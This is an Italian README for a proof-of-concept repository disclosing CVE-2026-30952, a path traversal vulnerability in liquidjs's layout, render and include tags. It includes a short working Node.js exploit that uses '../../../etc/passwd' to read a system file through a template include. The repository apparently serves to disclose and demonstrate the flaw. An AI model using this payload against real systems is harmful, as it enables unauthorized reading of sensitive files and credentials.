
PoC per CVE-2026-30952: vulnerabilità di Path Traversal in liquidjs tramite percorsi assoluti nei tag layout, render e include.
Questo repository contiene una Proof of Concept (PoC) per CVE-2026-30952, una vulnerabilità di path traversal ad alta gravità scoperta nella libreria liquidjs (versioni < 10.25.0).
Autori e Ricercatori:
Moriel Harush Maor Caplan
La vulnerabilità consente l'accesso arbitrario ai file tramite i tag layout, render e include quando vengono utilizzati con percorsi assoluti. Ciò si verifica anche quando viene specificata una directory root, poiché il meccanismo di fallback della libreria non riesce a verificare correttamente che il percorso risolto rimanga all'interno della root prevista.
Impatto: Un attaccante può leggere file sensibili (ad es. /etc/passwd, file di ambiente) se può controllare il contenuto del template o la variabile passata a questi tag.
const { Liquid } = require('liquidjs');
const e = new Liquid({ root: ['/tmp'], partials: ['/tmp'], dynamicPartials: true });
e.parseAndRender('{% include page %}', { page: '../../../etc/passwd' }).then(o => console.log(o.slice(0,500)));

liquidjs (npm install [email protected])npm install.node exploit.js